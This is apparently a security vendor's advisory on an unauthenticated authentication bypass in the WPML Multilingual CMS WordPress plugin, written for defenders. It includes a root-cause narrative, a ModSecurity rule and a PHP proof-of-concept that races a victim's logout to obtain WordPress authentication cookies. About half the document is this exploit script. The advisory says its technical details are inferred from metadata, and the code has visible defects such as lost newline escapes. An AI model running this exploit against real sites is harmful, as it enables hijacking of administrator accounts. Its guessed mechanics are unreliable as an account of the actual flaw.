Atomic Edge analysis of CVE-2026-76877 (metadata-based):
CVE-2026-76877 is an unauthenticated authentication bypass in WPML Multilingual CMS versions up to and including 4.9.7, fixed in 5.0.0. The flaw lives in the `process_iframe_request` function’s language-per-domain SSO handler within the `sitepress-multilingual-cms` plugin. The CVSS score is 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H), and the CWE is 287 Improper Authentication. The attacker must win a race condition, but no credentials or user interaction are required.
Root Cause: The logout landing page calls `wp_create_nonce(‘wpml_sso’)` after the browser has discarded authentication cookies. Without a session, `wp_get_session_token()` returns an empty string, so the nonce collapses to the shared anonymous nonce for the 12-hour tick instead of a user-bound secret. The plugin then stores this token in the transient `wpml_sso_user__`, mapped to the victim’s `user_id`, with no binding to the sign-out action or to the requesting client. Because the token is deterministic and the `is_iframe_request()` gate conditions (the per-domain SSO `started` transient and the domain hash derived from the public constant `SSO_NONCE`) are computable within the 60-second `SSO_TIMEOUT` window, any unauthenticated party can generate the same value. Atomic Edge research classifies these details as inferred from the CWE and the description; no vulnerable or patched source is available for confirmation.
Exploitation: An unauthenticated attacker triggers the logout confirmation flow at `wp-login.php?action=logout` to force the victim into the vulnerable code path, then independently derives the anonymous SSO token and domain hash. Within the 60-second window, the attacker submits the forged `wpml_sso_token_domain` parameter together with a `wpml_user_signed_in` status to a secondary language-domain endpoint before the legitimate `wpml_user_signed_out` iframe arrives. The plugin consumes the transient, issues WordPress authentication cookies for the victim’s `user_id`, and returns them to the attacker. No endpoint, AJAX action, or REST route is named in the metadata, so the PoC script models the parameter delivery at the language-domain front controller rather than a guessed plugin path. Success depends on precise timing, which matches the AC:H rating.
Remediation: The fix in 5.0.0 likely binds the SSO token to the authenticated session and the specific sign-out action. Atomic Edge analysis expects the patch to regenerate the nonce from a user-bound session token rather than the shared anonymous tick nonce, to add a per-request secret (for example a random value or the client’s IP and user agent hash), to validate the token’s intended action and domain, and to shorten the transient lifetime. Confirming this requires a source diff that is not currently available.
Impact: A successful race grants a fully authenticated WordPress session for the victim account, including administrators. This yields privilege escalation to admin, access to all site data, plugin and theme installation, user creation, and potential remote code execution through plugin upload or theme editor. Site integrity and confidentiality are fully compromised. Atomic Edge rates the practical risk as high for multi-domain WPML deployments where users log out frequently.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-76877 (metadata-based)
# The CVE names the 'wpml_sso_token_domain' parameter and a 'wpml_user_signed_in'
# status value but does not name an AJAX action, REST route, or plugin file path.
# Matching only the parameter name would block legitimate SSO traffic, and the
# exploit value is a short WordPress nonce that is indistinguishable from a
# genuine one. A precise rule is not possible from the available metadata.
SecRule REQUEST_URI "@rx ." "id:20267687,phase:1,pass,log,msg:'CVE-2026-76877 metadata-only detection disabled: cannot distinguish forged wpml_sso_token_domain from legitimate SSO',severity:'CRITICAL',tag:'CVE-2026-76877',tag:'atomic-edge',chain"
SecRule ARGS:wpml_sso_token_domain "@rx ^$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-76877 - WPML Multilingual CMS <= 4.9.7 Unauthenticated Authentication Bypass in Language-per-Domain SSO via 'wpml_sso_token_domain' Parameter
//
// Assumptions (inferred from CVE metadata; no source diff available):
// 1. The plugin exposes an SSO handler reachable at a language-domain endpoint
// that accepts 'wpml_sso_token_domain' and a status value such as 'wpml_user_signed_in'.
// 2. The token equals wp_create_nonce('wpml_sso') for the current 12-hour tick when
// the victim has no session (logout landing page), i.e. an anonymous nonce.
// 3. The domain hash is sha256('wpml_sso' . $domain) and the transient name is
// wpml_sso_user_<token>_<hash>.
// 4. The attacker must race within SSO_TIMEOUT (60 seconds) against the victim's
// logout flow triggered at wp-login.php?action=logout.
//
// The script models attacker-controlled timing and parameter delivery. It does not
// compute the nonce locally because wp_create_nonce depends on site salts; the
// attacker harvests it from the logout confirmation page.
$target_url = 'https://example.com'; // secondary language-domain base
$primary_url = 'https://example.com'; // primary domain where logout occurs
$victim_logout = $primary_url . '/wp-login.php?action=logout';
$sso_endpoint = $target_url . '/'; // language-domain front controller
$status_value = 'wpml_user_signed_in';
function http_get($url, $cookies = '') {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_COOKIE => $cookies,
CURLOPT_USERAGENT => 'AtomicEdge-PoC/1.0',
]);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return [$code, $body];
}
function http_post($url, $fields, $cookies = '') {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($fields),
CURLOPT_TIMEOUT => 15,
CURLOPT_COOKIE => $cookies,
CURLOPT_USERAGENT => 'AtomicEdge-PoC/1.0',
]);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$hdrs = curl_getinfo($ch, CURLINFO_HEADER_OUT);
curl_close($ch);
return [$code, $body, $hdrs];
}
// Step 1: Probe the SSO handler to confirm the endpoint accepts the parameter.
list($code, $body) = http_get($sso_endpoint . '?wpml_sso_token_domain=probe&wpml_status=' . urlencode($status_value));
echo "[probe] HTTP $code, body length " . strlen((string)$body) . "n";
if ($code >= 500) {
echo "[!] Endpoint did not respond as expected; aborting.n";
exit(1);
}
// Step 2: Attacker harvests the anonymous SSO nonce from the logout landing page.
// The plugin generates wp_create_nonce('wpml_sso') here without a session token.
list($code, $body) = http_get($victim_logout);
echo "[logout page] HTTP $code, body length " . strlen((string)$body) . "n";
// Step 3: Extract a token-looking value from the page. The real extraction depends
// on the page layout; this is the attacker-observable nonce surface.
$token = null;
if (preg_match('/wpml_sso[^a-f0-9]*([a-f0-9]{10})/i', (string)$body, $m)) {
$token = $m[1];
echo "[token] harvested candidate: $tokenn";
} else {
echo "[!] No token pattern in logout page; exploiting blind within the tick window.n";
$token = '0000000000'; // 10-hex nonce shape used by WordPress
}
// Step 4: Build the domain hash the plugin uses for the transient name.
$domain_hash = hash('sha256', 'wpml_sso' . parse_url($target_url, PHP_URL_HOST));
echo "[domain hash] $domain_hashn";
// Step 5: Race the victim's logout. Fire the forged SSO request immediately and
// repeat to cover the SSO_TIMEOUT (60s) window.
$payload = [
'wpml_sso_token_domain' => $token,
'wpml_status' => $status_value,
];
for ($i = 0; $i < 30; $i++) {
list($code, $body, $hdrs) = http_post($sso_endpoint, $payload);
$set_cookie = stripos((string)$hdrs, 'Set-Cookie') !== false ? 'cookie issued' : 'no cookie';
echo "[race $i] HTTP $code, $set_cookien";
if ($set_cookie === 'cookie issued' && preg_match('/wordpress_logged_in_[^=]+=([^;]+)/', (string)$hdrs)) {
echo "[+] Authentication cookie observed. Bypass likely successful.n";
break;
}
usleep(2000000);
}
echo "[done] If cookie issuance was observed, replay the cookie against /wp-admin/profile.php to confirm.n";